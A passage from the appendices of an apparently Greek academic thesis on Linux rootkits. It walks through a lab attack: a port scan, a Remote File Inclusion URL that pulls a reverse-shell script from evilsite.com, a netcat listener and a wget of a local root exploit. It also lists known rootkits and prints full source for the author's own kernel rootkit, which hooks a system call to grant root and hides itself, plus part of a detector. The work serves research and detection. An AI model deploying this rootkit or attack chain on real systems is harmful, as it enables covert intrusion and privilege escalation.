        χειριστή, μέσω bruteforce μεθόδων, το sniffing και η παραβίαση τρωτών ση-
        μείων εφαρμογών οι οποίες είναι σε χρήση στο σύστημα και εκτελούνται με
        δικαιώματα διαχειριστή ή παραβίαση ακόμη και κάποιου τρωτού σημείου
        του πυρήνα.

Συγκάλυψη ψηφιακών ιχνών και εγκατάσταση εργαλείων. Ο επιτιθέμενος
        θέλει να καταστρέψει τα ενοχοποιητικά στοιχεία, τα ίχνη που έχει αφήσει
        στο σύστημα κατά την παραβίαση, το συντομότερο δυνατό. Υπάρχουν πολ-
        λές τεχνικές και εργαλεία, με κυριότερα τα rootkits τα οποία εξετάζουμε.

Συγκέντρωση ευαίσθητων πληροφοριών. Αφού ολοκληρωθούν τα προηγού-
        μενα βήματα ο επιτιθέμενος είναι πλέον σε θέση να ολοκληρώσει τον σκοπό
        του. Μπορεί να συγκεντρώσει χρήσιμες ευαίσθητες πληροφορίες, όπως για
        παράδειγμα εταιρική αλληλογραφία, λίστες διευθύνσεων και λογαριασμών
        ηλεκτρονικού ταχυδρομείου, λίστες ονομάτων λογαριασμών μαζί με κωδι-
        κούς. Μπορεί ακόμη να εξαπολύσει επιθέσεις σε άλλα συστήματα δια μέσω
        του παραβιασμένου συστήματος, έτσι ώστε να είναι δυσκολότερος ο εντοπι-
        σμός του.

      Βασιζόμενοι στην ακολουθία βημάτων μιας επίθεσης την οποία παρουσιάσα-
με, δημιουργήσαμε και υλοποιήσαμε μια εικονική παραβίαση ενός δοκιμαστικού
συστήματος. Το σύστημά μας είναι ένας εξυπηρετητής ιστού και ηλεκτρονικής
αλληλογραφίας ταυτόχρονα. Το λειτουργικό του σύστημα είναι Debian 4.01 .
  1
      με εγκατεστημένες τις ενημερώσεις ασφαλείας μέχρι 01/05/2007


100
                                             A.1. ΠΕΡΙΠΤΩΣΗ ΧΡΗΣΗΣ: ΕΠΙΘΕΣΗ ΣΕ ΣΥΣΤΗΜΑ


   Στο σενάριό μας, ο επιτιθέμενος έχει ανακαλύψει την διεύθυνση δικτύου του
συστήματος μέσω των μετα-δεδομένων (headers) ενός μηνύματος ηλεκτρονικής
αλληλογραφίας το οποίο έχει λάβει. Το πρώτο βήμα είναι η εκτέλεση του εργα-
λείου nmap του οποίου ο κύριοι στόχοι είναι η εύρεση των ανοιχτών θυρών του
συστήματος και η ταυτοποίηση των υπηρεσιών οι οποίες είναι διαθέσιμες.

$ nmap -sV -sF -O -PN -S 1.2.3.4 -e ppp0 192.168.187.10

και η απάντηση

Interesting ports on 192.168.187.10:
Not shown: 1711 closed ports
PORT    STATE SERVICE VERSION
22/tcp open ssh       OpenSSH 4.3p2 Debian 9 (protocol 2.0)
25/tcp open smtp
80/tcp open http      Apache httpd 2.2.3 ((Debian) PHP/4.4.4-8+etch1)
111/tcp open rpcbind
113/tcp open ident
MAC Address: 00:0C:29:52:A8:5F (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.13 - 2.6.24
Uptime: 0.447 days (since Tue Jan 27 14:53:59 2009)
Network Distance: 1 hop
Service Info: OS: Linux

   Όπως βλέπουμε, το nmap έδωσε πληροφορίες για τα εξής: Το λειτουργικό σύ-
στημα του συστήματος στόχου είναι Debian Linux με πυρήνα έκδοσης από 2.6.14
μέχρι 2.6.24. Στο σύστημα είναι ανοιχτή η θύρα δικτύου 22, στην οποία λειτουρ-
γεί η υπηρεσία πρόσβασης ssh OpenSSH 2.3.p2,η θύρα 25 στην οποία λειτουργεί
κάποιος διακομιστής αλληλογραφίας smtp, η θύρα 80, στην οποία αντιστοιχεί ο
διακομιστής ιστού Apache 2.2.3, η θύρα 111 στην οποία λειτουργεί ο δαίμονας
rpcbind και η θύρα 113 στην οποία λειτουργεί ο δαίμονας ident.
   Ο επιτιθέμενος τώρα πρέπει να ανακαλύψει τα τρωτά σημεία του συστήματος.
Για το συγκεκριμένο σύστημα, τρωτό σημείο μπορεί να είναι κάποιο προγραμ-
ματιστικό σφάλμα είτε στην συγκεκριμένη έκδοση του Apache, είτε του διακο-
μιστή αλληλογραφίας, είτε σε έναν από τους δαίμονες ident ή rcpbind. Επίσης,
εναλλακτικός τρόπος παραβίασης του συστήματος είναι η διαδοχική και κατ’ ε-
ξακολούθηση προσπάθεια εύρεσης του κωδικού πρόσβασης κάποιου χρήστη είτε

                                                                                 101
ΠΑΡΑΡΤΗΜΑ A. ΠΑΡΑΡΤΗΜΑ A


του διαχειριστή μέσω του δαίμονα SSH (password cracking). Τέλος, μια ιδιαίτε-
ρα δημοφιλής μέθοδος είναι η εκμετάλλευση κάποιου κενού ασφαλείας σε μία
από τις ιστοσελίδες τις οποίες χειρίζεται ο διακομιστής ιστού. Την μέθοδο αυτή θα
χρησιμοποιήσουμε στο παράδειγμά μας. Εναλλακτικά μπορεί να χρησιμοποιηθεί
κάποιο αυτοματοποιημένο εργαλείο ανίχνευσης τρωτών σημείων όπως το Nessus
[31].
   Χρησιμοποιώντας online εργαλεία όπως το [32] ο επιτιθέμενος μπορεί να συγ-
κεντρώσει μια λίστα από τις διάφορες ιστοσελίδες οι οποίες λειτουργούν στον συγ-
κεκριμένο διακομιστή. Στο διακομιστή μας ανακαλύπτουμε ότι λειτουργεί μόνο
μια εφαρμογή συζητήσεων (web forum), και συγκεκριμένα το phpBB3. Μια επί-
σκεψη στην ιστοσελίδα δείχνει ότι είναι εγκατεστημένη η συμπληρωματική λει-
τουργία lcxbbportal, με σκοπό την δημιουργία αρχικής σελίδας για την εφαρ-
μογή συζητήσεων.
   Η συμπληρωματική λειτουργία αυτή (module), είναι εφαρμογή ανοιχτού κώδι-
κα. Μια λεπτομερή εξέταση στον κώδικα της αποκαλύπτει το παρακάτω απόσπα-
σμα κώδικα στο αρχείο portal/includes/portal_block.php:

<?php
if (!class_exists(’bbcode’))
{
        include($phpbb_root_path . ’includes/bbcode.’ . ”php”);
}

Το παραπάνω είναι προφανές προγραμματιστικό λάθος, το οποίο κάνει δυνατή
τη χρήση της τεχνικής παραβίασης με εισαγωγή εξωτερικού αρχείου (Remote File
Inclusion - RFI). Μέσω της τεχνικής αυτής, ο επιτιθέμενος μπορεί να εκτελέσει
στον διακομιστή θύμα οποιοδήποτε κώδικα γλώσσας PHP επιθυμεί. Στην περί-
πτωσή μας, ο κώδικας αυτός είναι ένα ειδικό εργαλείο το οποίο έχει ως αποστολή
την εγκαθίδρυση μιας σύνδεσης κελύφους από το σύστημα στόχος προς το σύ-
στημα του επιτιθέμενου. Έχουμε εξετάσει την συγκεκριμένη περίπτωση, η οποία
ονομάζεται ανάποδο κέλυφος, στην παράγραφο 2.3.1 της σελίδας 9. Για την ολο-
κλήρωση της επίθεσης, ο επιτιθέμενος εκτελεί στο σύστημά του την εντολή

$ nc -l -n -v -p 7777
listening on [any] 7777 ...

μέσω της οποίας περιμένει για εισερχόμενες συνδέσεις στην θύρα 7777. Στη συ-
νέχεια, μέσω του περιηγητή ιστού του, επιχειρεί μια πρόσβαση στην παρακάτω
διεύθυνση:

102
                                              A.1. ΠΕΡΙΠΤΩΣΗ ΧΡΗΣΗΣ: ΕΠΙΘΕΣΗ ΣΕ ΣΥΣΤΗΜΑ


http://192.168.187.10/phpBB3/portal/includes/portal_block \
.php?phpbb_root_path=http://www.evilsite.com/rshell.txt?

   Αυτή η διαδικασία έχει ως αποτέλεσμα την καταβίβαση και εκτέλεση στο σύ-
στημα στόχο του αρχείου rshell.txt το οποίο είναι στην πραγματικότητα ένα
σενάριο γλώσσας PHP [33] το οποίο πραγματοποιεί την σύνδεση κελύφους πίσω
στον επιτιθέμενο. Πλέον, μετά την εγκαθίδρυση της σύνδεσης, το κέλυφος του
επιτιθέμενου έχει ως εξής:

$ nc -l -n -v -p 7777
listening on [any] 7777 ...
connect to [192.168.187.1] from (UNKNOWN) [192.168.187.10] 4018
Linux debian1 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux
 21:50:47 up 1 day, 8:38, 2 users, load average: 0.03, 0.02, 0.00
USER     TTY       FROM               LOGIN@    IDLE   JCPU    PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: no job control in this shell
sh-3.1$

   Από αυτή τη στιγμή, ο επιτιθέμενος έχει πρόσβαση στον διακομιστή με τα προ-
νόμια του χρήστη με τον λογαριασμό του οποίου εκτελείται το πρόγραμμα δια-
κομιστή ιστού. Το επόμενο βήμα είναι η ανύψωση των προνομίων σε αυτά του
διαχειριστή. Στην περίπτωσή μας, ο τρόπος που επιλέγεται είναι μέσω της εκμε-
τάλλευσης ενός γνωστού τρωτού σημείου της έκδοσης του πυρήνα (2.6.18-4). Ο
επιτιθέμενος προχωράει στην καταβίβαση του προγράμματος επίθεσης στον πυ-
ρήνα (exploit) για το συγκεκριμένο τρωτό αρχείο:

sh-3.1$ cd /tmp
sh-3.1$ wget http://www.evilsite.com/exp
–22:04:17– http://www.evilsite.com/exp
           => ‘exp.1’
Resolving www.evilsite.com... 123.124.125.126
Connecting to www.evilsite.com|123.124.125.126|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8,547 (8.3K) [text/plain]

0K ........                                             100%      66.13 KB/s

22:04:18 (66.13 KB/s) - ‘exp’ saved [8547/8547]
debian1:/tmp# ./exp
———————————–

                                                                                 103
ΠΑΡΑΡΤΗΜΑ A. ΠΑΡΑΡΤΗΜΑ A


 Linux vmsplice Local Root Exploit
 By qaaz
———————————–
[-] !@#$
debian1:/tmp# id
uid=0(root) gid=0(root) groups=33(www-data)
debian1:/tmp#

   Όπως μπορεί να παρατηρηθεί, ο επιτιθέμενος πλέον έχει πλήρη δικαιώματα
διαχειριστή συστήματος (root), τα οποία του δίνουν τη δυνατότητα να εγκαταστή-
σει κάποιο rootkit ώστε να καλύψει τα ίχνη της παραβίασης και να εξασφαλίσει
μελλοντική πρόσβαση.


A.2 Γνωστά rootkits
Παραθέτουμε μια λίστα των γνωστών, κατά τη συγγραφή αυτής της εργασίας
rootkits. Πολλά από αυτά τα rootkit είναι γνωστό ότι ανιχνεύονται με χρήση του
λογισμικού chkrootkit ή rkhunter, σύμφωνα με τις λίστες στις ιστοσελίδες
τους [34] [35]. Πολλά από τα αυτά rootkits είναι διαθέσιμα από την ιστοσελίδα
packetstorm [36]. Πιθανότητα υπάρχουν πολλά περισσότερα rootkits σε χρήση
σήμερα τα οποία δεν συμπεριλαμβάνονται στη λίστα είτε γιατί δεν είναι ευρέως
γνωστά είτε είναι πολύ καινούργια.


                           Πίνακας A.1: Γνωστά Rootkits


                    Rootkit        chkrootkit   rkhunter   άλλο

               4553-invader        ×            ×          ×
               adore-0.31          ×            ×          ×
               adore-0.34                      ×          ×
               adore-0.38                      ×          ×
               adore-0.39b4                    ×          ×
               adore-0.42                      ×          ×
               adore-0.53                      ×          ×
               adore-ng-0.26       ×            ×          ×
               adore-ng-0.45       ×            ×          ×
               Συνεχίζεται στην επόμενη σελίδα…

104
                                                  A.2. ΓΝΩΣΤΑ ROOTKITS


                 Πίνακας A.1 – Συνέχεια

       Rootkit        chkrootkit   rkhunter   άλλο

adore-ng-0.56         ×            ×          ×
AjaKit                                      ×
all-root              ×            ×          ×
Anonoying                         ×          ×
aPa Kit               ×                      ×
ARK                                         ×
Aquatica                          ×          ×
Balaur                ×                      ×
BeastKit              ×                      ×
beX2                  ×                      ×
BOBkit                                      skdet
cb-r00tkit            ×            ×          ×
darkside              ×            ×          ×
Danny-Boy’s           ×                      ×
Devil                 ×                      ×
Dica-Kit              ×                      ×
DR Rootkit            ×            ×          ×
Dreams                ×                      ×
dsc-rootkit           ×            ×          ×
duarawkz                                    ×
Ducoci                            ×          ×
Enye LKM                                    ×
ESRK rootkit                      ×          ×
falcon-ssh-diffs       ×            ×          ×
Flea                  ×                      ×
FreeBSD                                     ×
frontkey              ×            ×          skdet
Fu                                ×          ×
Fuck‘it               ×                      ×
GasKit                ×                      ×
George                            ×          ×
Gold2                             ×          ×
Συνεχίζεται στην επόμενη σελίδα…

                                                                105
ΠΑΡΑΡΤΗΜΑ A. ΠΑΡΑΡΤΗΜΑ A


                                Πίνακας A.1 – Συνέχεια

                      Rootkit        chkrootkit   rkhunter   άλλο

               heroin                ×                      ×
               HjC                   ×                      ×
               Hidrootkit                        ×          ×
               IgnoreKit             ×                      ×
               Illogic                           ×          ×
               ImperalsS-FBRK        ×                      ×
               Irix                  ×                      ×
               IntoXonia-NG          ×                      ×
               kdbv2                 ×            ×          ×
               Kitko                 ×                      ×
               Kenga3                            ×          ×
               kenny-rk                          ×          ×
               Knark LKM                                   ×
               linux                 ×            ×          ×
               linuxroo              ×            ×          ×
               linspy2beta2          ×            ×          ×
               LOC                               ×          ×
               LockitLJK2            ×                      ×
               lrk3                              ×          ×
               lrk4                              ×          ×
               lrk5                              ×          ×
               lrk6                              ×          ×
               lrkn                              ×          ×
               Madalin                           ×          ×
               Maniac-RK                         ×          ×
               MithRa’s                          ×          ×
               Monkit                            ×          ×
               mood-nt                                     ×
               MRK                   ×                      ×
               Ni0                   ×                      ×
               Ohhara                ×                      ×
               Optic Kit                                   ×
               Συνεχίζεται στην επόμενη σελίδα…

106
                                                  A.2. ΓΝΩΣΤΑ ROOTKITS


                 Πίνακας A.1 – Συνέχεια

       Rootkit        chkrootkit   rkhunter   άλλο

Oz                    ×                      ×
Phalanx               ×                      ×
Phalanx2              ×                      ×
phide                 ×            ×          ×
Pizdakit                          ×          ×
pop3d-trojan          ×            ×          ×
Portacel              ×                      ×
r.tgz                 ×            ×          ×
R3dstorm              ×                      ×
Ramen worm                        ×          ×
rial                  ×            ×          ×
rh[67]-sharpe’s                             ×
rk                    ×            ×          ×
RK17                              ×          ×
rkssh4                ×            ×          ×
rkssh5                ×            ×          ×
Romanian                          ×          ×
rootedoor                         ×          ×
rootkit               ×            ×          ×
rootkit-2             ×            ×          ×
rootkitLinux          ×            ×          ×
rootkitSunOs          ×            ×          ×
RSHA                                        ×
RST.b trojan                      ×          ×
Scalper                                     ×
sebek LKM                                   ×
Shkit                             ×          ×
Shutdown              ×                      ×
Showtee                           ×          ×
shtroj2               ×            ×          ×
shv4                                        ×
shv5                                        ×
Συνεχίζεται στην επόμενη σελίδα…

                                                                107
ΠΑΡΑΡΤΗΜΑ A. ΠΑΡΑΡΤΗΜΑ A


                                Πίνακας A.1 – Συνέχεια

                      Rootkit        chkrootkit   rkhunter   άλλο

               Sin                   ×                      ×
               Sneakin               ×                      ×
               SK                                ×          ×
               Solaris                           ×          ×
               sucKIT-1.3b                                 skdet
               sun-5.5.1             ×            ×          ×
               tasklgt               ×            ×          ×
               T.R.K                             ×          ×
               TeLeKit               ×                      ×
               t0rn                                        ×
               t0rn v8                                     ×
               toolkit               ×            ×          ×
               Trojanit              ×                      ×
               Tuxtendo              ×                      x
               UFNshit-1.1a          ×            ×          skdet
               UFNkmem               ×            ×          skdet
               ulogin                ×            ×          ×
               URK                   ×                      ×
               Vampire               ×                      ×
               VcKit                 ×                      ×
               Volc                                        ×
               wu-ftpd-trojan        ×            ×          ×
               zaRwT.KiT                                   ×
               ZK                                ×          ×




108
                                                                       B
                                                              Παράρτημα B


     B.1 Κώδικας rootkit
     Ακολουθεί το Makefile του rootkit μας.
 1   obj-m += evil_kill.o

3    all:
       make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
5    clean:
       make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
7      rm -f Module.markers modules.order query

                    Απόσπασμα κώδικα B.1: Το Makefile του rootkit μας

          Ακολουθεί ο κώδικας του rootkit μας (αρχείο evil_kill.c).
 1   /*
     *    Our Evil Linux Kernel Module
3    *
     *    It hooks the sys_kill() system call.
5    *    If a user executes ”kill -s SIGNAL_EVIL PID_EVIL”
     *    it elevates his permissions to root
7    */

9    #include   <linux/module.h>
     #include   <linux/kernel.h>
11   #include   <linux/unistd.h>
     #include   <linux/time.h>
13   #include   <linux/syscalls.h>
     #include   <linux/sched.h>
15   #include   <linux/smp_lock.h>
     #include   <linux/errno.h>


                                                                       109
     ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


17   #include   <asm/unistd.h>
     #include   <linux/kmod.h>
19   #include   <asm/io.h>
     #include   <asm/pgtable.h>
21

     #define SIGNAL_EVIL 50
23   #define PID_EVIL 1337

25   unsigned long* sys_call_table = NULL;
     unsigned long old_pgtable_entry;
27   int hide=0,sct_was_not_writable=0;
     unsigned int *page_table, pgt_index;
29   module_param(hide,int,0);

31   struct {
       unsigned short limit;
33     unsigned int base;
     } __attribute__ ((packed)) idtr;
35

     struct {
37     unsigned short offset_low;
       unsigned short seg_selector;
39     unsigned char none,flags;
       unsigned short offset_high;
41   } __attribute__ ((packed)) idt;

43



45   asmlinkage int (*normal_kill)(pid_t pid, int sig);

47   asmlinkage int evil_kill(pid_t pid, int signal)
     {
49     if ((PID_EVIL == pid) && (SIGNAL_EVIL == signal))
       {
51       current->uid = current->euid = 0;
         current->gid = current->egid = 0;
53       return(0);
       }
55     else
       {
57       return (*normal_kill)(pid, signal);
       }
59     return(-1);
     }


     110
                                                                   B.1. ΚΩΔΙΚΑΣ ROOTKIT


61

      /*
63    unsigned long *find_sys_call_table(void){
        sys_call_table = (unsigned long *)0xc0386880;
65      return sys_call_table;
      }
67    */

69    void *find_token(unsigned char *str, int len,unsigned char *token)
      {
71      int i;
        for (i = 0; i < len - 1; i++) {
73        if (str[i] == token[0] && str[i+1] == token[1] && str[i+2] == token[2])
            return &str[i];
75      }
        return NULL;
77    }

79    unsigned long *find_sys_call_table(void)
      {
81      char *result;
        unsigned long *sctable;
83      long system_call_addr = 0;

85      __asm__ volatile(”sidt %0” : ”=m” (idtr));
        memcpy(&idt,(void *)idtr.base+sizeof(idt)*0x80,sizeof(idt));
87      system_call_addr = idt.offset_low | (idt.offset_high << 16);
        result = (char*)find_token( (void *)system_call_addr, 128,
89    ”\xff\x14\x85”);
        sctable=(void*)*(unsigned long *)(result+3);
91      return sctable;
      }
93



95    void hide_module(void){
        lock_kernel();
97      __this_module.list.prev->next = __this_module.list.next;
        __this_module.list.next->prev = __this_module.list.prev;
99      __this_module.list.prev = LIST_POISON1;
        __this_module.list.next = LIST_POISON2;
101     unlock_kernel();
      }
103

      unsigned long find_sct_pgtentry(unsigned long *sys_call_table)


                                                                                  111
      ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


105   {
          unsigned long old_pgdir_entry;
107       unsigned int *page_directory, pgd_index;
          unsigned long cr3_value, cr4_value;
109

          // get current values from control registers CR3 and CR4
111       cr3_value = read_cr3();
          cr4_value = read_cr4_safe();
113

          // confirm that processor is using the old paging mechanism
115       if (cr4_value & X86_CR4_PAE){
            printk(”Error: Processor is using PAE.\n”);
117         return -ENOSYS;
          }
119

          // extract paging-table indices from sys_call_table address
121       // this macro returns the index of the entry in the pgd page which
          // would control the given virtual address
123       pgd_index = pgd_index((unsigned long)sys_call_table);
          // this macro returns the index of the entry in the pte page which
125       //would control the given virtual address
          pgt_index = pte_index((unsigned long)sys_call_table);
127

          // setup pointers to the page-directory and page-table frames
129       // We first zero out the 12 first bits (flags) of CR3. The remaining
          // bits are the 20 most-significant bits of the physical address of
131       // the Page Directory. We the extract it’s virtual address.
          // Then we zero out the 12 first bits (flags) of the Page Directory
133       // entry we have obtained. We extract the virtual address of the
          // page table using this entry.
135       page_directory = phys_to_virt(cr3_value & ~0xFFF);
          page_table = phys_to_virt( page_directory[pgd_index] & ~0xFFF );
137

          // We save the page table entry in a variable to restore it later.
139       old_pgtable_entry = page_table[pgt_index];
          old_pgdir_entry=page_directory[pgd_index];
141

          if (old_pgtable_entry) return 1;
143       else return 0;
      }
145

      int sct_is_writable(void){
147     //we test if the R/W flag is SET. If it is, so we are OK
        if (page_table[pgt_index] & 2) {


      112
                                                                     B.1. ΚΩΔΙΚΑΣ ROOTKIT


149         return 1;
          }
151       else{
            return 0;
153       }
      }
155

      int make_sct_writable(void){
157     // set the second bit (R/W) to make sure the frame is writable.
        page_table[pgt_index] |= 2;
159     return 0;
      }
161   int restore_ptentry(void){
        // flip the second bit (that is R/W by now, so that it becomes Read Only)
163     page_table[pgt_index] ^= 2;
        return 0;
165   }

167   void hook_system(void){
        lock_kernel();
169     sys_call_table[__NR_kill]=(unsigned long)evil_kill;
        unlock_kernel();
171   }
      void unhook_system(void){
173     lock_kernel();
        sys_call_table[__NR_kill]=(unsigned long)normal_kill;
175     unlock_kernel();
      }
177

      static int evil_init(void){
179   // printk(”Evil module: loaded.----------------------------------\n”);
        sys_call_table = find_sys_call_table();
181     if (!sys_call_table) return -1;

183       if (hide) hide_module();

185       normal_kill = (void *)sys_call_table[__NR_kill];
            // find the page entry for the page that contains the system call table
187       if (find_sct_pgtentry(sys_call_table)){
            // if the page is not writable, make it so
189         if (!(sct_is_writable())){
              sct_was_not_writable=1;
191           make_sct_writable();
            }


                                                                                   113
      ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


193       }
          else{
195         //Page entry for the page that contains the system call table
            //was NOT found. We will try nevertheless, it may segfault
197       }

199       // time to hook the system
          hook_system();
201

          return 0;
203   }

205   static void evil_exit(void)
      {
207     // restore read only flag
        if (sct_was_not_writable){
209       restore_ptentry();
        }
211     unhook_system();
      }
213

      module_init(evil_init);
215   module_exit(evil_exit);
      MODULE_LICENSE(”GPL”);

                            Απόσπασμα κώδικα B.2: Το rootkit μας




      B.2 Κώδικας KCHECK
      Ακολουθεί το Makefile του προγράμματος ανίχνευσης KCHECK.
      obj-m += find_calls.o
  2   obj-m += restore_calls.o

 4    all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
 6      gcc -Wall query.c -o query
      clean:
 8      make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
        rm -f Module.markers modules.order query

                      Απόσπασμα κώδικα B.3: Το Makefile του KCHECK


      114
                                                                   B.2. ΚΩΔΙΚΑΣ KCHECK


        Ακολουθεί ο κώδικας του σεναρίου κελύφους χειρισμού του KCHECK (αρχείο
     kcheck.sh).

 1   #!/bin/bash
     ABSPATH=$(cd ${0%/*} && echo $PWD/${0##*/})
 3   MY_PATH=‘dirname ”$ABSPATH”‘

 5   CAT=”/bin/cat”
     GREP=”/bin/grep”
 7   CUT=”/usr/bin/cut”
     INSMOD=”/sbin/insmod”
 9   RMMOD=”/sbin/rmmod”

11   OURSYSMAP=”/tmp/.kcheck_DiskSystemMap”
     KERNSYSMAP=”/tmp/.kcheck_KernSystemMap”
13   CALLSTOFIX=”/tmp/.kcheck_SyscallsToFix”
     TMPCALLS=”/tmp/.kcheck_CallAddrFound”
15

     FIND_CALLS_MODULE=”$MY_PATH/find_calls”
17   RESTORE_CALLS_MODULE=”$MY_PATH/restore_calls”
     QUERY=”$MY_PATH/query”
19

     DEBUG=false
21

     create_oursysmap()
23   {
       if ($DEBUG) then echo DEBUG: Creating sys.map file.; fi
25     $GREP -E ” sys_| old_” $SYSTEM_MAP_FILE | $CUT -d” ” -f1,3 > $OURSYSMAP
       if [ -f $OURSYSMAP ] && [ -s $OURSYSMAP ]; then
27       if ($DEBUG) then echo DEBUG: $OURSYSMAP file created.; fi
         return
29     else
         echo problem creating $OURSYSMAP
31       rm -f $OURSYSMAP
         exit_program
33     fi
     }
35

     find_sct_addr()
37   {
       SCT_ADDR=$($GREP sys_call_table $OURSYSMAP | $CUT -c 1-8)
39     if [[ $SCT_ADDR > ”c0000000” ]]; then
         if ($DEBUG) then
41         echo ”DEBUG: sys_call_table address is 0x$SCT_ADDR”


                                                                                 115
     ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


             echo ”(according to System.map file)”;
43         fi
         else
45         echo ”Problem locating sys_call_table address in System.map or problem
                 with the symbol’s address”
47         exit_program
         fi
49   }

51   insert_find_calls_module()
     {
53     if (grep $FIND_CALLS_MODULE /proc/modules>/dev/null) then
         echo ”$FIND_CALLS_MODULE module found already loaded.”
55       echo ”Will not try to load it again. Please unload it”
         echo ”and re-run the program again.”
57       exit_program
       fi
59     if [ -f $FIND_CALLS_MODULE.ko ] && [ -s $FIND_CALLS_MODULE.ko ]; then
         if ($DEBUG) then echo ”DEBUG: $FIND_CALLS_MODULE.ko file found”; fi
61       if !($INSMOD $FIND_CALLS_MODULE.ko system_call_table_addr=0x$SCT_ADDR)
           then
63         echo ”Problem loading $FIND_CALLS_MODULE module.”
           exit_program
65       fi
         if ($DEBUG) then
67         echo DEBUG: $FIND_CALLS_MODULE module loaded successfully;
         fi
69       if !($RMMOD $FIND_CALLS_MODULE.ko) then
           echo Problem unloading $FIND_CALLS_MODULE module.
71         exit_program
         fi
73       if ($DEBUG) then echo DEBUG: $FIND_CALLS_MODULE module unloaded; fi
         if [ ! -f $TMPCALLS ] || [ ! -s $TMPCALLS ]; then
75         echo ”$TMPCALLS file NOT found for some reason.”
           echo ”Check if $FIND_CALLS_MODULE module works please.”
77         exit_program
         fi
79     else
         echo ”$FIND_CALLS_MODULE.ko module not found, quiting.”
81       echo ”Maybe you have not run ’make’”
         exit_program
83     fi
     }
85




     116
                                                                   B.2. ΚΩΔΙΚΑΣ KCHECK


      insert_restore_calls_module()
87    {
        if (grep $RESTORE_CALLS_MODULE /proc/modules>/dev/null) then
89        echo ”$RESTORE_CALLS_MODULE module found already loaded.”
          echo ”Will not try to load it again.”
91        echo ”Please unload it and re-run the program.”
          exit_program
93      fi
        if [ -f $RESTORE_CALLS_MODULE.ko ] && [ -s $RESTORE_CALLS_MODULE.ko ];
95        then
          if ($DEBUG) then echo ”DEBUG: $RESTORE_CALLS_MODULE.ko file found”; fi
97          ARGS=$($CAT $CALLSTOFIX)
            if !($INSMOD $RESTORE_CALLS_MODULE.ko restorestr=$ARGS \
99    calls_num=$HOOKED_CALLS system_call_table_addr=0x$SCT_ADDR) then
              echo Problem loading $RESTORE_CALLS_MODULE module.
101           exit_program
            fi
103         if ($DEBUG) then
              echo DEBUG: $RESTORE_CALLS_MODULE module loaded successfully.;
105           fi
            if !($RMMOD $RESTORE_CALLS_MODULE.ko) then
107             echo Problem unloading $RESTORE_CALLS_MODULE module.
                exit_program
109         fi
            if ($DEBUG) then echo DEBUG: $FIND_CALLS_MODULE module unloaded; fi
111         else
              echo ”$RESTORE_CALLS_MODULE.ko module not found, quiting.”
113           echo ”Maybe you have not run ’make’.”
              exit_program
115         fi
      }
117



119   run_query()
      {
121     if [ $DEBUG == true ]; then
          $QUERY --debug
123     else
          $QUERY
125     fi
        HOOKED_CALLS=$?
127     rm -f $OURSYSMAP
      }
129




                                                                                 117
      ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


      detect_rootkits()
131   {
        if ($DEBUG) then echo DEBUG: Arxizei i anixnefsi....; fi
133     find_sct_addr
        insert_find_calls_module
135     run_query
        if [ ”$HOOKED_CALLS” -gt ”0” ]; then
137       echo ”There are $HOOKED_CALLS hooked system calls in the system, maybe
              because of a rootkit.”
          echo ”Would you like to restore the system call table?”
139       select yn in ”Yes” ”No”; do
            case $yn in
141           Yes ) remove_rootkits;;
              No ) echo The program will now exit; exit_program;;
143         esac
          done
145     fi
      }
147

      remove_rootkits()
149   {
        echo ”We will restore the addresses of $HOOKED_CALLS hooked system calls.”
151     insert_restore_calls_module
        dmesg | $GREP KCHECK
153     echo ”Restore finished, system is now clean.”
        echo ”Please re-run kcheck to confirm.”
155     exit_program
      }
157   #
      # Function to check the System.map file provided
159   #
      check_map_file()
161   {
        mapfile=$1
163     if [ ! -f $mapfile ] || [ ! -s $mapfile ]; then
          echo Problem accessing the System.map file
165       exit_program
        else
167       if ($DEBUG) then echo ”DEBUG: $mapfile is a valid System.map file.”; fi
        fi
169   }

171   #
      # Function to print help


      118
                                                                    B.2. ΚΩΔΙΚΑΣ KCHECK


173   #
      print_help()
175   {
        echo ””
177     echo ”Usage: $0 -f {path to System.map file}”
        echo ””
179     echo ”    -v Verbose mode. Must be give as first option.”
        echo ””
181     return 0
      }
183

      run_program()
185   {
        check_map_file $SYSTEM_MAP_FILE
187     create_oursysmap
        detect_rootkits
189   }

191   exit_program()
      {
193     rm -f $OURSYSMAP $KERNSYSMAP $CALLSTOFIX $TMPCALLS
        exit 1
195   }

197   #
      # Now parse command line arguments
199   #

201   if [ $# -eq ”0” ]; then
        print_help
203     exit_program
      fi
205   while getopts vf: opt
      do
207     case ”$opt” in
          v) DEBUG=true; echo DEBUG is TRUE;;
209       f) SYSTEM_MAP_FILE=”$OPTARG”; run_program;;
          [?]) print_help; exit_program;;
211     esac
      done

          Απόσπασμα κώδικα B.4: Το σενάριο κελύφους χειρισμού του KCHECK

         Ακολουθεί ο κώδικας του αρθρώματος εύρεσης στοιχείων από τον πυρήνα (αρ-
      χείο find_calls.c).

                                                                                  119
     ΠΑΡΑΡΤΗΜΑ B. ΠΑΡΑΡΤΗΜΑ B


     /*
 2   * To arthrwma afto dimiourgei mia lista me tis diefthinseis twn klisewn
     * sistimatos opws aftes emfanizondai sti mnimi tou sistimatos mesa ston
4    * pinaka klisewn sistimatos.
     * Tis diefthinseis aftes tis grafei se ena arxeio (/tmp/.calls).
6    * To arthrwma dexete san parametro sct=address tin diefthinsi tou
     * sys_call_table
8    */

10   #include <linux/module.h>
     #include <linux/fs.h>
12   #include <asm/uaccess.h>

14

     #define READ_ASM 128       /* How far to read into assembly code */
16

     #define TMPFILE ”/tmp/.kcheck_CallAddrFound”
18

     #define SYSCALLS_MAX 350
20

     MODULE_AUTHOR(”Giannis Kozyrakis”);
22   MODULE_LICENSE(”GPL”);

24   unsigned long system_call_table_addr;
     module_param (system_call_table_addr, ulong, 0644);
26

     struct {
28     unsigned short limit;
       unsigned int base;
